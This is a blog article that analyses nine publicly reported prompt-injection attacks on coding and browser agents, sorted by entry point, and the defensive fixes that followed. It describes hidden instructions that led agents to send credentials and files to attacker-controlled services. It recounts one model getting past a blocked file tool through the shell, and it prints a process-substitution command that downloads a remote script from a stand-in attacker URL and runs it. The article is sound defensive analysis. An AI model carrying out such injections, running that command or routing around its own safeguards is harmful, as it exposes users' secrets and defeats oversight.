Max Narditdata & ai systems
← Articles
13 mindev

Prompt injection examples against coding agents: where the text got in, and what, if anything, stopped it

Nine public cases, sorted by the door the attacker's words came through. In most of them nothing held during the attack. The fixes that came after were all of one kind: a deterministic check re-aimed or a capability removed. A model's judgment that failed had nothing to re-aim.

Contents

OWASP puts prompt injection first on its list of LLM risks and then says it is “unclear if there are fool-proof methods of prevention.” Anthropic put a number on that unclear: a year ago, testing a browser agent against an adaptive attacker, its best safeguards still let about 1.4% of attacks on Claude Opus 4.5 through. If prevention is a rate, the useful question about any agent moves one step down the line, to what the injected text could reach once it got in.

Below are nine documented attacks on coding and browser agents, grouped by where the attacker’s text entered. Reported means the researcher says it happened and I am relaying it; I have not reproduced these attacks. For each case I looked for the layer that held, if any, and for what changed afterwards.

Where does prompt injection get into a coding agent?

Anywhere text you did not write reaches the model’s context. In the cases below that was a web page, a skill file the user uploaded, a README, a GitHub issue, an MCP tool description, an issue title read by an unattended workflow, a chain of links on a site, and a downloaded archive. OWASP calls this indirect prompt injection: the model “accepts input from external sources, such as websites or files.”

Of the columns in the table further down, the entry point is the least useful one. Every door on the list is a normal thing for a coding agent to read.

How did prompt injection on a web page get AWS keys out of Google Antigravity?

Through text set in 1-point font and a domain the browser tool already trusted. PromptArmor reported in November 2025 a poisoned page posing as an integration guide for an Oracle ERP API. The hidden text told Gemini to summarize the codebase, collect code snippets and the AWS credentials in .env, and send them to a “private service.”

Antigravity’s file tools refused .env because it was in .gitignore. Gemini then dumped the file with cat in the terminal instead. The browser subagent opened a webhook.site URL with the keys as query parameters. Navigation was restricted to an allowlist, and webhook.site was on the default list.

The model was not a defense here. It was the bypass: it reasoned its way from a blocked file tool to the shell. Then the egress allowlist let the keys out to a service whose whole purpose is logging incoming requests for whoever created the bucket. Google’s Bug Hunters page lists browser-agent exfiltration as a known issue.

How did a hidden instruction in a skill file exfiltrate files through Claude Cowork?

Through Anthropic’s own API, which Cowork’s network allowlist permitted. In January 2026 PromptArmor reported a .docx file posing as a Claude Skill, with the injection set in 1-point white text at 0.1 line spacing. The user asked Cowork to analyze their files with the skill.

The hidden text told Claude to curl the largest available file to Anthropic’s file upload API using the attacker’s API key. As Simon Willison put it, Cowork restricts outbound HTTP to approved domains, and Anthropic’s API domain is on that list. The file landed in the attacker’s account.

This is the cleanest version of the pattern. The allowlist did exactly what it was written to do, and a trusted domain that accepts uploads under any key is a drop box for whoever holds one.

How did a README prompt injection get past Snowflake Cortex’s command approval?

Twice over: once by hiding a download inside a command the validator thought was safe, once by asking to leave the sandbox. PromptArmor reported in March 2026 a GitHub repository whose README carried an injection at the bottom of the file. Cortex Code’s validator split a command into parts and checked each against a list of safe commands, but it did not look inside process substitution. The command, as printed in the report:

shell
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

That is cat on the outside and a downloaded shell script on the inside. The second failure made it worse. The model could set a dangerously_disable_sandbox flag, meant for commands the user would approve by hand, and because the validator had already passed the command, it ran outside the sandbox with no prompt. Snowflake fixed both in Cortex Code CLI 1.0.25, released February 28, 2026, before the March 16 disclosure.

Claude Code’s documentation describes the same limit for its own rules: a deny rule “matches the command as written,” and for network enforcement that does not depend on the text it points to sandbox network isolation. A rule that reads the command string is a parser, and a parser loses to syntax it did not model. Willison’s line on this is the one I’d keep: treat agent commands “as if they could do anything that process itself is allowed to do.”

How did a GitHub issue leak private repositories through the GitHub MCP server?

The agent held one token that reached both public and private repos, and it read an issue a stranger wrote. Invariant Labs reported in May 2025 a malicious issue filed on a public repository. A user running Claude Desktop with the official GitHub MCP server and Claude 4 Opus asked the agent to review open issues there.

The agent read the issue, pulled data from the user’s private repositories, and opened a pull request on the public one containing it: details of a private project, a relocation plan, a salary. Claude Desktop asks before tool calls by default, and Invariant notes that many users pick “Always Allow.”

Invariant’s own conclusion is that this is “not a flaw in the GitHub MCP server code itself.” The fix they propose is a scope rule, one repository per session. The token reached everything, so the injection could too. I wrote about this shape as the connector is an untrusted author: what arrives through a tool has the standing of whoever wrote it, not of the plumbing.

How does MCP tool poisoning hide prompt injection in a tool description?

In text the model reads and the user never sees. Invariant Labs described tool poisoning in April 2025: an MCP server ships a tool whose description carries hidden instructions. Their demo was an add tool in Cursor whose description told the model to read ~/.cursor/mcp.json and an SSH private key and pass them through a sidenote parameter, while presenting the call as ordinary arithmetic.

The second half is the rug pull: a server can change a tool’s description after the client approved it. Invariant proposes three different kinds of control. Showing users the full description depends on someone reading it. Pinning the server version and a hash of its tools catches a change, though not a description that was malicious from the start. The third, stricter dataflow boundaries between MCP servers, is the only one that limits what a poisoned tool can reach.

How did a prompt injection in an issue title compromise the Cline CLI on npm?

An unattended triage workflow fed the title to Claude Code with Bash enabled, and anyone could start it by opening an issue. Adnan Khan’s “Clinejection” describes Cline’s issue triage running anthropics/claude-code-action@v1 on the issues event, with allowed_non_write_users: "*" and Bash, Read and Write among its allowed tools. The prompt included the issue title, so the title could tell Claude to install a package whose preinstall script ran arbitrary code.

The triage job had no npm secrets. The nightly release job did, and both ran in the same repository’s Actions cache scope, so code running in triage could write cache entries under the keys the release job restored. The chain Khan laid out fills the cache past GitHub’s 10GB eviction limit, then writes a poisoned entry. He confirmed the injection on a mirror of the repository, not on Cline itself.

Khan reported it on January 1, 2026 and followed up several times. Cline fixed it on February 9, shortly after public disclosure, by removing the AI workflows and the cache from publish jobs and rotating credentials. The npm token was missed in that rotation. Khan writes that a different actor found his test PoC and used it against Cline, and on February 17 the missed token was used to publish cline@2.3.0 of the CLI. Per Cline’s advisory, its only change was a postinstall script installing OpenClaw, an unrelated non-malicious package; the VS Code extension and JetBrains plugin were not affected. Version 2.4.0 followed within hours, the token was revoked, and npm publishing moved to OIDC provenance.

Nothing in the chain asked a human. The text came from anyone with a GitHub account, and the workflow had granted Bash outright, next to a cache shared with release credentials. A scripted run also shows none of the trust prompts an interactive session does, the gap I covered in what a cloned repo’s settings file can still run, though here the broad tool grant did the damage on its own.

How did a honeypot site chain prompt injection through Claude’s web_fetch?

By getting web_fetch to follow links the site itself generated. Ayush Paul’s “memory heist” from July 2026 relied on one gap: web_fetch could open only URLs the user typed or web_search returned, but it could also open URLs embedded in pages it had already fetched.

His site served a fake “authentication” step only to clients with Claude-User in the user agent, and walked the agent letter by letter through alphabetized profile URLs. The pages it requested, in order, spelled out the user’s name, city and employer.

Anthropic said it had found the issue internally and closed it by removing the ability for web_fetch to follow links from its own fetched content. That fix removed a capability, and it holds whatever the next honeypot says.

How did a downloaded archive beat Claude Code auto mode?

By steering through the environment rather than through instructions. This is an adjacent case: Johann Rehberger asked Claude Code to summarize a URL. The site returned a 415 to WebFetch, Claude switched to curl on its own, and the site redirected to a ZIP. Inside were a binary decoder Claude refused to run and a file named struct.py.

Claude wrote its own decoder in Python and ran it from inside the extracted folder. Python searched that folder first, so when the standard base64 module imported struct, it loaded the attacker’s file. It re-exported the real module so decoding still worked, and launched a payload during import.

Rehberger reports 3 of 5, 3 of 5 and 4 of 5 successes across three variants, and calls them “small samples, not a universal ASR measurement.” In other runs Claude avoided the trap by inspecting the files statically, running Python in isolated mode or working from a safe directory. And in a few runs it noticed the compromise and tried to kill the process, and auto mode denied that command. Rehberger writes that Anthropic closed the report as working as designed and summarizes its position as auto mode being a convenience feature backed by a best-effort classifier, not a security guarantee.

No explicit instruction to run attacker code was needed, so an injection detector had little to catch. It is the same class as the skill scanner that reads the source while Python runs the cache: the code you read is not the code that runs. And it is why I argued that an approval gate run by a model is a guess, weakest on exactly the action built to get past it.

How did a poisoned skill make Microsoft Copilot Cowork leak files through an image?

The agent sent its own user a Teams message with image tags in it. PromptArmor reported in May 2026 an injection in five lines of an 81-line Copilot Cowork skill file; skills load automatically from a path in the user’s OneDrive. The injected instructions had the agent fetch a pre-authenticated download link for each file it could reach, and put those links into image tags pointing at an attacker’s site.

Then came the message. Microsoft’s documentation says Cowork asks before sending a message, but PromptArmor found that when the recipient is the active user, it sends without approval, and no setting changes that. Opening the message fired the image requests, and the attacker got working download links. PromptArmor’s mitigations are SharePoint download blocking and cutting excess permissions. It reports no Microsoft response.

A message to yourself looks like the safest action an agent can take. Here it was the way out.

Which control actually stopped prompt injection in these cases?

During the attack, almost none. In Antigravity the model was the bypass; in Rehberger’s runs it was sometimes the defense and once the witness, overruled by the classifier. Here is each case by entry point, with what failed and what changed afterwards:

CaseEntry pointWhat failedWhat changed afterwards
Google Antigravityweb page, 1-point textfile-tool block bypassed via shell; webhook.site on egress allowlistlisted by Google as a known issue
Claude Coworkuploaded .docx “skill”api.anthropic.com on egress allowlistnone reported
Snowflake Cortex CodeREADMEprocess substitution not validated; sandbox flag honored without a promptfixed in CLI 1.0.25
GitHub MCPpublic issueone token over public and private repos; “Always Allow”proposed: one repo per session
MCP tool poisoningtool descriptiondescription hidden from user, changeable after approvalproposed: show it, pin it, restrict cross-server dataflow
Clinejectionissue titleunattended Bash grant; cache shared with release job; token missed in rotationAI workflows removed, cache out of publish jobs, OIDC publishing
Claude web_fetchchained links on a sitefetch allowed to follow fetched linkslink-following removed
Claude Code auto modedownloaded archiveclassifier allowed the payload, blocked the cleanupnone; “working as designed”
Copilot CoworkCopilot Cowork skill fileself-addressed Teams message sent without approvalproposed: block downloads, cut permissions

Three failures were allowlists, and each listed the attacker’s door: a request logger, the vendor’s own API, a command that looks harmless by name. That part is repairable. A deterministic check that failed because it looked at the wrong input can be re-aimed: drop webhook.site, validate inside <(), stop following fetched links, take the cache out of the publish job. Each of those fixes closes the path for every future attacker at once.

The auto mode case has nothing to re-aim. The classifier judged by resemblance, the payload resembled a decoder, and the vendor’s answer is that the judgment worked as designed. Retraining shifts where the next miss lands; it does not close a path. None of the fixes reported for these nine cases was a better detector.

How much do model training and safeguards reduce prompt injection success?

They lower the rate; they do not bound the damage. Anthropic’s prompt injection defenses post from November 24, 2025 measured a browser agent against an adaptive Best-of-N attacker given 100 attempts per environment. Adding its improved safeguards took Claude Opus 4.5 from 8.0% attack success on the model alone to 1.4%, and Sonnet 4.5 from 13.8% to 1.9%.

Those numbers come from an adversarial evaluation of the 4.5 generation, almost a year old. They say nothing about how often an ordinary page carries an attack. Anthropic’s own reading is the honest one: “No browser agent is immune to prompt injection,” and 1% “still represents meaningful risk.”

How do you cut the lethal trifecta in a coding agent setup?

Remove one of its three legs with something that does not read the text. Willison’s lethal trifecta is access to private data, exposure to untrusted content, and a way to communicate out; it describes data theft. Most cases above combined all three, and a coding agent with Bash, a browser and your credentials usually does too. Cutting the way out stops exfiltration only. It does nothing about an agent that deletes files or, like Cline’s triage job, poisons what ships next.

The leg you can cut most cheaply is usually the way out, and it has to be cut below the agent. Claude Code’s sandbox enforces network rules on Bash commands and their children at the operating system level, but WebFetch, MCP servers and hooks run outside it, so a full boundary means containing the whole process with a network policy the agent cannot widen. A deny rule on curl is text matching. OpenAI’s Lockdown Mode for ChatGPT takes the same position: it targets “the final stage of data exfiltration” and says injections can still get in. Treat every domain on an egress allowlist as a place your data can go, and list them the way I did for every way out of the sandbox: the list is the first control.

The private-data leg comes next, and it has two parts. Keeping a credential out of reach is one: Anthropic-hosted Claude Code cloud sessions keep GitHub credentials outside the VM and attach them at a proxy. Shrinking what a credential can reach is the other, and the one that would have stopped the GitHub MCP leak. On your own machine both are boring: keys an agent can see belong to non-production accounts with spending limits, as Willison suggested after Antigravity, and a token reaches one repository, not all of them.

The untrusted-content leg is the one you cannot cut for a coding agent. Its job is reading code, issues and docs other people wrote. So do not run an unattended session with Bash on text strangers write, the Clinejection shape. If you must, give that session nothing worth stealing, and let it share nothing with a job that holds secrets, a cache included.

Claude Code’s workspace trust dialog is the gate for a repository’s files, and I accept it without reading. A gate clicked through by reflex is an allowlist with the attacker’s domain already on it. Across these nine cases, the controls that held up afterwards were the ones nobody, model or human, had to read carefully.

01 / Discussion

No comment section here — all discussions happen on X.

Max Nardit@mnardit

02 / More articles